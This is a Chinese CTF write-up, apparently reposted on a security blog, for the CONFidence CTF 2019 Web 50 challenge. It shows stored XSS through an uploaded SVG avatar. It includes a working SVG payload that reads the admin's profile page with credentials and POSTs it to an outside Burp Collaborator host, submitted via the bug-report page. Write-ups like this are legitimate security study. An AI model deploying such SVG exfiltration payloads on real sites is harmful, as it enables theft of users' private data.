CONFidence CTF 2019-Web 50分析思考

admin 2021年8月21日04:52:44评论91 views字数 2338阅读7分47秒阅读模式

CONFidence CTF 2019-Web 50分析思考

当时没做出来,也有看到外国大师傅用缓存投毒非预期的。我还是太菜了orz。
CONFidence CTF 2019-Web 50分析思考
首先是一个非常简陋的登陆页面,随手输入一个没人用的用户名,即可注册登陆。
CONFidence CTF 2019-Web 50分析思考
两个功能,一个报告bug,一个修改个人信息。经过简单fuzz之后明显可以发现报告bug页面是管理员查看该域名下的某处页面。
CONFidence CTF 2019-Web 50分析思考
而修改个人信息页面的shoesize可以selfxss,因为如果没有cookie的话页面是不会解析的。且不能看到用户的secret。
CONFidence CTF 2019-Web 50分析思考
同样可以看到admin的信息,但是不能看到secret。同时看到cookie里面有http-only,说明打不了cookie。
CONFidence CTF 2019-Web 50分析思考
还有一个上头像功能,fuzz发现可以改后缀,但是无论上传什么后缀的文件content-type都是图片。
CONFidence CTF 2019-Web 50分析思考
随机就想到几年前的洞:SVG XSS的一个黑魔法
其实当时不止想到这一个,还有bmp、gif,但是那些都不行,不知道为啥我本地都复现不了bmp、gif那两个。当然了那两个是将js代码伪装在bmp文件中,当

<script src="1.bmp"></script>

引入的时候相当于执行了上传的js文件,这个可以用于绕过csp。
参考文章:https://blog.csdn.net/qq_27446553/article/details/45498489

而svg就不一样了。来看看svg到底是什么吧:https://zhuanlan.zhihu.com/p/36138381d
SVG 图像是矢量图像,可以无限缩放,而且在图像质量下降方面没有任何问题。为什么会这样呢?因为 SVG 图像是使用 XML 标记构建的,浏览器通过绘制每个点和线来打印它们,而不是用预定义的像素填充某些空间。这确保 SVG 图像可以适应不同的屏幕大小和分辨率,即使是那些尚未发明的。
由于是在 XML 中定义的,SVG 图像比 JPG 或 PNG 图像更灵活,而且我们可以使用 CSS 和 JavaScript 与它们进行交互。SVG 图像设置可以包含 CSS 和 JavaScript。
svg是在xml中定义的,所以可以执行xml代码,在xml代码里面嵌入css和js代码执行即可。
构造payload:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

CONFidence CTF 2019-Web 50分析思考
测试成功。然后只要用js爬取http://web50.zajebistyc.tf/profile/admin 内容然后打到vps上。
最后在reportbug页面将图片地址提交进行csrf即可。

<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="Layer_1" x="0px" y="0px" width="100px" height="100px" viewBox="-12.5 -12.5 100 100" xml:space="preserve"> 
  ...
  <g>
    <polygon fill="#00B0D9" points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 "></polygon>
    <script type="text/javascript">
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
          var xhr2 = new XMLHttpRequest();
          xhr2.open("POST", "http://XXXX.burpcollaborator.net/");
          xhr2.send(xhr.responseText);
        }
      }   
      xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin");
      xhr.withCredentials = true;
      xhr.send();
    </script>
  </g>
  ...
</svg>

CONFidence CTF 2019-Web 50分析思考

相关推荐: NJUPTCTF-2018出题心得

NJUPTCTF-2018出题心得 NJUPTCTF-2018结束也有几个月了,我也是昨天才忙完各种琐事,包括比赛、考试、出题、总结等等。这段时间经历的事情太多,心也逐渐疲惫,同时感到和同龄人的差距越来越大。现在要补这几个月落下的东西,昨天把CTF学习交流群的…

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月21日04:52:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CONFidence CTF 2019-Web 50分析思考https://cn-sec.com/archives/466984.html

发表评论

匿名网友 填写信息